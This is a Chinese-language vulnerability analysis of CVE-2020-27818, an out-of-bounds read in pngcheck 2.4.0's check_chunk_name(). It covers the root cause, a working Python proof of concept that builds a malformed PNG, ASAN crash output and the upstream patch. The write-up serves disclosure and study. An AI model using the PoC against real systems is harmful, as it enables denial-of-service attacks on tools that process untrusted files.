跳转至

CVE-2020-27818

Abstract

  • CVE ID: CVE-2020-27818
  • CWE ID: CWE-125 (Out-of-bounds Read)
  • Description: A flaw was found in the check_chunk_name() function of pngcheck. This flaw allows an attacker who can pass a malicious file to be processed by pngcheck to cause a temporary denial of service.
  • CVSS: 3.3
  • Published: 2020-12-08
  • Affected: pngcheck 2.4.0

漏洞概要

pngcheck 是一个用于验证 PNG / JNG / MNG 文件格式的命令行工具。该工具的 check_chunk_name() 函数在检查 PNG chunk 名称时,将字符强制转换成 int 类型作为 ascii_alpha_table 数组的下标,导致带符号扩展问题。当 chunk 名包含负值字符 (>0x7F) 时,会导致访问越界,造成全局缓冲区的越界读取。

漏洞原理

源码地址:http://www.libpng.org/pub/png/src/pngcheck-2.4.0.zip

程序在处理 PNG 文件时会校验 chunk 名的合法性。check_chunk_name 函数(位于 pngcheck.c:4927)用于检查 chunk 名是否仅由 ASCII 字母组成:

pngcheck.c
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
int check_chunk_name(char *chunk_name, char *fname)
{
  if (isASCIIalpha((int)chunk_name[0]) && isASCIIalpha((int)chunk_name[1]) &&
      isASCIIalpha((int)chunk_name[2]) && isASCIIalpha((int)chunk_name[3]))
    return 0;

  printf("%s%s  invalid chunk name \"%.*s\" (%02x %02x %02x %02x)\n",
    verbose? "":fname, verbose? "":":", 4, chunk_name,
    chunk_name[0], chunk_name[1], chunk_name[2], chunk_name[3]);
  set_err(kMajorError);  /* usually means we've "jumped the tracks": bail! */
  return 1;
}

函数通过 isASCIIalpha 宏对 chunk 名的每个字符进行检查。该宏使用字符值作为下标查询预定义的 ascii_alpha_table 数组:

pngcheck.c
233
#define isASCIIalpha(x)     (ascii_alpha_table[x] & 0x1)
pngcheck.c
282
283
284
285
286
287
288
289
290
291
static const uch ascii_alpha_table[256] = {
  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
  0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 
};

chunk_name 中字符的高位为 1 时(值大于 0x7F,强制转换为 int 会成为负值,将其作为数组下标访问 ascii_alpha_table 就会导致缓冲区越界读取。

例如,如果 chunk 名中包含字符 0x80,转换为 int 后会变成 -128,超出了 ascii_alpha_table 的范围。

漏洞复现

触发条件

漏洞触发需要满足以下条件:

  • PNG 文件中的 chunk 名称字符包含高位字节(值大于 0x7F
  • 在有符号 char 的平台上运行程序

漏洞利用

以下 PoC 使用 construct 库构造一个包含恶意 chunk 的最小合法 PNG 文件。虽然仅需 PNG 签名和恶意 chunk 就能触发漏洞,但这里构造了一个完整的 PNG 文件(包含 IHDRIDAT 等必需 chunks,使其能被图片查看器正常打开。

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
"""
POC for CVE-2020-27818 - pngcheck Out-of-bounds Read
Creates a minimal valid PNG file with a malformed chunk
name to trigger array index overflow
"""

import argparse
import zlib

from construct import Bytes, Const, GreedyRange, Int32ub, Struct, this

Chunk = Struct(
    "length" / Int32ub,
    "type" / Bytes(4),
    "data" / Bytes(this.length),
    "crc" / Int32ub,
)

PNG = Struct(
    "signature" / Const(b"\x89PNG\r\n\x1a\n"),
    "chunks" / GreedyRange(Chunk),
)


def calc_crc(chunk_type: bytes, chunk_data: bytes) -> int:
    return zlib.crc32(chunk_type + chunk_data) & 0xFFFFFFFF


def create_chunk(chunk_type: bytes, chunk_data: bytes) -> dict:
    return {
        "length": len(chunk_data),
        "type": chunk_type,
        "data": chunk_data,
        "crc": calc_crc(chunk_type, chunk_data),
    }


def create_poc_png(output_file: str, malicious_type: bytes = b"\xff\x00\x00\x00"):
    # Create a 1x1 black pixel image
    ihdr_data = b"\x00\x00\x00\x01\x00\x00\x00\x01\x08\x00\x00\x00\x00"
    idat_data = zlib.compress(b"\x00\x00\x00\x00\x00")  # Filter byte + RGBA data

    chunks = [
        create_chunk(b"IHDR", ihdr_data),  # Header chunk
        create_chunk(b"IDAT", idat_data),  # Data chunk
        create_chunk(malicious_type, b""),  # Malicious chunk
        create_chunk(b"IEND", b""),  # End chunk
    ]

    png_data = PNG.build(dict(chunks=chunks))
    with open(output_file, "wb") as f:
        f.write(png_data)
    print(f"Created POC file: {output_file}")


def main():
    parser = argparse.ArgumentParser(description="Generate POC PNG for CVE-2020-27818")
    parser.add_argument(
        "-o",
        "--output",
        default="poc.png",
        help="Output PNG file path (default: poc.png)",
    )
    args = parser.parse_args()

    create_poc_png(args.output)


if __name__ == "__main__":
    main()

为了检测内存访问错误,在 Makefile 中添加编译选项 -fsanitize=address 来开启 ASAN

enable_asan.patch
--- Makefile.unx.orig   2025-01-10 02:44:56.825087965 +0800
+++ Makefile.unx    2025-01-10 02:45:01.105088592 +0800
@@ -29,7 +29,7 @@
 CC = gcc
 LD = gcc
 RM = rm
-CFLAGS = -O -Wall $(INCS) -DUSE_ZLIB
+CFLAGS = -O -Wall $(INCS) -DUSE_ZLIB -fsanitize=address
 # [note that -Wall is a gcc-specific compilation flag ("all warnings on")]
 O = .o
 E =

当程序尝试解析 poc.png 时,会得到:

 ./pngcheck ../../CVE-2020-27818/poc.png
=================================================================
==529059==ERROR: AddressSanitizer: global-buffer-overflow on address 0x64252146789f at pc 0x642521443431 bp 0x7fff8e5bb540 sp 0x7fff8e5bb530
READ of size 1 at 0x64252146789f thread T0
    #0 0x642521443430 in check_chunk_name (pngcheck-vulns/src/pngcheck-2.4.0/pngcheck+0x15430) (BuildId: 4e62327e74df0aef03619703308abb9e340be5c6)
    #1 0x642521454798 in pngcheck (pngcheck-vulns/src/pngcheck-2.4.0/pngcheck+0x26798) (BuildId: 4e62327e74df0aef03619703308abb9e340be5c6)
    #2 0x6425214576fd in main (pngcheck-vulns/src/pngcheck-2.4.0/pngcheck+0x296fd) (BuildId: 4e62327e74df0aef03619703308abb9e340be5c6)
    #3 0x7f7e81434e07  (/usr/lib/libc.so.6+0x25e07) (BuildId: 98b3d8e0b8c534c769cb871c438b4f8f3a8e4bf3)
    #4 0x7f7e81434ecb in __libc_start_main (/usr/lib/libc.so.6+0x25ecb) (BuildId: 98b3d8e0b8c534c769cb871c438b4f8f3a8e4bf3)
    #5 0x642521442324 in _start (pngcheck-vulns/src/pngcheck-2.4.0/pngcheck+0x14324) (BuildId: 4e62327e74df0aef03619703308abb9e340be5c6)

0x64252146789f is located 1 bytes before global variable 'ascii_alpha_table' defined in 'pngcheck.c:282:18' (0x6425214678a0) of size 256
0x64252146789f is located 31 bytes after global variable 'latin1_keyword_forbidden' defined in 'pngcheck.c:294:18' (0x642521467780) of size 256
SUMMARY: AddressSanitizer: global-buffer-overflow (pngcheck-vulns/src/pngcheck-2.4.0/pngcheck+0x15430) (BuildId: 4e62327e74df0aef03619703308abb9e340be5c6) in check_chunk_name
Shadow bytes around the buggy address:
  0x642521467600: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x642521467680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x642521467700: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
  0x642521467780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x642521467800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x642521467880: f9 f9 f9[f9]00 00 00 00 00 00 00 00 00 00 00 00
  0x642521467900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x642521467980: 00 00 00 00 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
  0x642521467a00: 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
  0x642521467a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x642521467b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==529059==ABORTING

ASAN 的输出显示,程序在访问 ascii_alpha_table 的前一个字节时触发了全局缓冲区越界读,读取区域位于上一个全局变量 latin1_keyword_forbidden 的范围内。

由于 char 类型的带符号值范围是 [-128, 127],数组下溢的范围有限,影响相对较小。

漏洞修复

官方在 v3.0.0 版本中通过在类型转换时引入 unsigned char 来修复这个问题:

@@ -4926,8 +4986,10 @@
 /* GRR 20061203:  now EBCDIC-safe */
 int check_chunk_name(char *chunk_name, char *fname)
 {
-  if (isASCIIalpha((int)chunk_name[0]) && isASCIIalpha((int)chunk_name[1]) &&
-      isASCIIalpha((int)chunk_name[2]) && isASCIIalpha((int)chunk_name[3]))
+  if (isASCIIalpha((int)(uch)chunk_name[0]) &&
+      isASCIIalpha((int)(uch)chunk_name[1]) &&
+      isASCIIalpha((int)(uch)chunk_name[2]) &&
+      isASCIIalpha((int)(uch)chunk_name[3]))
     return 0;

   printf("%s%s  invalid chunk name \"%.*s\" (%02x %02x %02x %02x)\n",

参考资料